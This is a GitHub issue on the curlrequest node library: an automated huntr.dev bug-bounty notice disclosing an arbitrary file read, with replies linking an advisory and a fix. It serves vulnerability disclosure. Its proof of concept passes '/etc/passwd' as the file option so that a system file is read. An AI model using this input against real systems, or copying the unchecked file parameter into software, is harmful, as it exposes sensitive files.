search

node-js-libs / curlrequest

A cURL wrapper
MIT License
184 stars 44 forks source link

Security Notice & Bug Bounty - Arbitrary File Read - huntr.dev #70

Open huntr-helper opened 4 years ago

huntr-helper commented 4 years ago

Overview

curlrequest is a curlrequest is a node wrapper for the command line curl(1).

Affected versions of this package are vulnerable to Arbitrary File Read. It is possible to read any file by populating the file parameter with user input.

Proof of Concept

var curl = require("curlrequest");

let userPayload = "/etc/passwd";
curl.request({ file: userPayload }, function (err, stdout, meta) {
    console.log("%s %s", meta.cmd, meta.args.join(" "));
});

Bug Bounty

We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded 💰? Go to https://huntr.dev/

We will submit a pull request directly to your repository with the fix as soon as possible. Want to learn more? Go to https://github.com/418sec/huntr 📚

Automatically generated by @huntr-helper...

dbech commented 4 years ago

More info here: https://snyk.io/vuln/SNYK-JS-CURLREQUEST-568274

huntr-helper commented 4 years ago

‎‍🛠️ A fix has been provided for this issue. Please reference: https://github.com/418sec/curlrequest/pull/4

🔥 This fix has been provided through the https://huntr.dev/ bug bounty platform.